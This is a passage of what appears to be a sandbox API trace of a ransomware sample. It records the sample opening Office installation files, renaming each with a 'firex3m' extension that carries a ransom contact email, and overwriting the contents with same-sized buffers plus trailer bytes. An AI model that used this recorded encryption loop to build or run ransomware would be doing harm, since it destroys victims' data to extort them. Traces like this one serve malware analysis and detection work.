lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72234b8*, lpNumberOfBytesWritten=0x3cfff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0145.644] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.644] WriteFile (in: hFile=0x710, lpBuffer=0x72261f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72261f7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.943] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.943] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.943] CloseHandle (hObject=0x710) returned 1 [0145.943] GetProcessHeap () returned 0x630000 [0145.943] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72234b8 | out: hHeap=0x630000) returned 1 [0145.943] GetProcessHeap () returned 0x630000 [0145.943] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7220748 | out: hHeap=0x630000) returned 1 [0145.945] GetProcessHeap () returned 0x630000 [0145.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0145.945] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42d7c8c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42d7c8c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cef6987, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d81, dwReserved0=0xce07496, dwReserved1=0x7220740, cFileName="HomeBusinessR_Retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOACD8~1.FIR")) returned 0x6d4f80 [0145.946] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0145.946] Sleep (dwMilliseconds=0x1) [0146.020] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK", len=0x46 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK") returned 1 [0146.020] GetProcessHeap () returned 0x630000 [0146.020] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2764) returned 0x71f7c78 [0146.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.836] CloseHandle (hObject=0x4b8) returned 1 [0146.836] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa284551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x30100, cFileName="OUTLOOK_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OU3E62~1.FIR")) returned 0x6d54c0 [0146.837] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0146.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.837] GetProcessHeap () returned 0x630000 [0146.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4a18 [0146.837] GetProcessHeap () returned 0x630000 [0146.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4868 [0146.837] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.837] ReadFile (in: hFile=0x4b8, lpBuffer=0x6a4a18, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a18*, lpNumberOfBytesRead=0x3cfff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.843] GetProcessHeap () returned 0x630000 [0146.843] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.843] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.843] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a4868*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4868*, lpNumberOfBytesWritten=0x3cfff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.843] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.844] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a48c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a48c7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.844] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.844] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.844] CloseHandle (hObject=0x4b8) returned 1 [0146.844] GetProcessHeap () returned 0x630000 [0146.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4868 | out: hHeap=0x630000) returned 1 [0146.844] GetProcessHeap () returned 0x630000 [0146.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4a18 | out: hHeap=0x630000) returned 1 [0146.844] GetProcessHeap () returned 0x630000 [0146.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.844] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.844] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d79b256, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x3cffd20, dwReserved1=0x6a4a18, cFileName="OUTLOOK_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OU3E62~1.FIR")) returned 0x6d5540 [0146.844] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.845] Sleep (dwMilliseconds=0x1) [0148.060] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", len=0x41 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC") returned 1 [0148.060] GetProcessHeap () returned 0x630000 [0148.060] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a0) returned 0x71f7c78 [0148.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0149.889] CloseHandle (hObject=0x6a8) returned 1 [0149.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.DOC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PR6076~1.FIR")) returned 0x6d5280 [0149.934] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0149.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0149.934] GetProcessHeap () returned 0x630000 [0149.934] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e21) returned 0x7142390 [0149.935] GetProcessHeap () returned 0x630000 [0149.935] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e21) returned 0x71471c0 [0149.935] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.935] ReadFile (in: hFile=0x6a8, lpBuffer=0x7142390, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7142390*, lpNumberOfBytesRead=0x3cfff0c*=0x4e00, lpOverlapped=0x0) returned 1 [0152.450] GetProcessHeap () returned 0x630000 [0152.450] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0152.450] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.450] WriteFile (in: hFile=0x6a8, lpBuffer=0x71471c0*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71471c0*, lpNumberOfBytesWritten=0x3cfff0c*=0x4e00, lpOverlapped=0x0) returned 1 [0152.451] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.451] WriteFile (in: hFile=0x6a8, lpBuffer=0x714bfbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x714bfbf*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0152.451] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.451] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0152.451] CloseHandle (hObject=0x6a8) returned 1 [0152.451] GetProcessHeap () returned 0x630000 [0152.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71471c0 | out: hHeap=0x630000) returned 1 [0152.451] GetProcessHeap () returned 0x630000 [0152.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7142390 | out: hHeap=0x630000) returned 1 [0152.451] GetProcessHeap () returned 0x630000 [0152.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0152.451] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0152.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x20d1bdd6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e24, dwReserved0=0xce07496, dwReserved1=0x7142388, cFileName="PROTTPLN.DOC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PR6076~1.FIR")) returned 0x6d4f00 [0152.452] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0152.452] Sleep (dwMilliseconds=0x1) [0154.997] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn", len=0x47 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn") returned 1 [0154.997] GetProcessHeap () returned 0x630000 [0154.998] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b60) returned 0x713f7f0 [0154.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_complete.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0154.998] CloseHandle (hObject=0x714) returned 1 [0154.998] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_complete.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_complete.xsn.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xlate_Complete.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLATE_~2.FIR")) returned 0x6d52c0 [0155.000] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0155.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_complete.xsn.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0155.000] GetProcessHeap () returned 0x630000 [0155.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3bc1) returned 0x7226108 [0155.000] GetProcessHeap () returned 0x630000 [0155.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3bc1) returned 0x7229cd8 [0155.000] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.000] ReadFile (in: hFile=0x714, lpBuffer=0x7226108, nNumberOfBytesToRead=0x3ba0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7226108*, lpNumberOfBytesRead=0x3cfff0c*=0x3ba0, lpOverlapped=0x0) returned 1 [0157.231] GetProcessHeap () returned 0x630000 [0157.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0157.232] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.232] WriteFile (in: hFile=0x714, lpBuffer=0x7229cd8*, nNumberOfBytesToWrite=0x3ba0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7229cd8*, lpNumberOfBytesWritten=0x3cfff0c*=0x3ba0, lpOverlapped=0x0) returned 1 [0157.232] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.232] WriteFile (in: hFile=0x714, lpBuffer=0x722d877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x722d877*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0157.232] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.232] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0157.232] CloseHandle (hObject=0x714) returned 1 [0157.232] GetProcessHeap () returned 0x630000 [0157.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7229cd8 | out: hHeap=0x630000) returned 1 [0157.233] GetProcessHeap () returned 0x630000 [0157.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7226108 | out: hHeap=0x630000) returned 1 [0157.233] GetProcessHeap () returned 0x630000 [0157.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0157.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x23ab68f4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3bc7, dwReserved0=0xce07496, dwReserved1=0x7226100, cFileName="Xlate_Complete.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLATE_~2.FIR")) returned 0x6d5340 [0157.233] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0157.233] Sleep (dwMilliseconds=0x1) [0161.481] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll", len=0x7d | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll") returned 1 [0161.481] GetProcessHeap () returned 0x630000 [0161.481] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc8) returned 0x707d3d0 [0161.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\10266\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0161.486] CloseHandle (hObject=0x694) returned 1 [0161.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\10266\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\10266\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x1b00001b, dwReserved1=0x640069, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d53c0 [0161.493] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0161.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 